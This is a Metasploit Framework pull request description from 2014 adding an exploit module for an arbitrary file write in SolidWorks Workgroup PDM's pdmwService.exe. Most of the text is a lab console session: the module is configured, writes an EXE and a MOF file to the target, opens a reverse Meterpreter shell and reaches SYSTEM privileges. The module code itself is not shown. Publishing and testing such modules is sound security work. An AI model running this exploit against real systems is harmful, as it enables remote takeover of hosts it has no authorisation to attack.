rapid7/metasploit-framework — pull request #3030 by bcoles (2014-02-24 17:24:22+00:00)
Title: Add SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write

Add SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write exploit module.

* Homepage: http://www.solidworks.com/sw/products/product-data-management/workgroup-pdm.htm
* Tested on: SolidWorks Workgroup PDM 2011 SP0 - Windows XP SP3 (EN)

![SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write](https://f.cloud.github.com/assets/434827/2248342/27a330aa-9d78-11e3-831b-5500d51b8ac0.png)

```
msf > use exploit/windows/misc/solidworks_workgroup_pdmwservice_wbem
msf exploit(solidworks_workgroup_pdmwservice_wbem) > set RHOST 192.168.247.134
RHOST => 192.168.247.134
msf exploit(solidworks_workgroup_pdmwservice_wbem) > set VERBOSE true
VERBOSE => true
msf exploit(solidworks_workgroup_pdmwservice_wbem) > check

[*] 192.168.247.134:30000 - Received reply (4 bytes)
[*] 192.168.247.134:30000 - The target service is running, but could not be validated.
msf exploit(solidworks_workgroup_pdmwservice_wbem) > run

[*] Started reverse handler on 192.168.247.128:4444
[*] 192.168.247.134:30000 - Sending EXE (73802 bytes)
[*] 192.168.247.134:30000 - Received reply (4 bytes)
[*] 192.168.247.134:30000 - Sending MOF (2231 bytes)
[*] 192.168.247.134:30000 - Received reply (4 bytes)
[*] Sending stage (769024 bytes) to 192.168.247.134
[*] Meterpreter session 1 opened (192.168.247.128:4444 -> 192.168.247.134:1314) at 2014-02-24 11:24:01 -0500
[+] Deleted wbem\mof\good\KocTtKc.mof
[!] This exploit may require manual cleanup of: WnwxXUjKQYGyh.exe

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```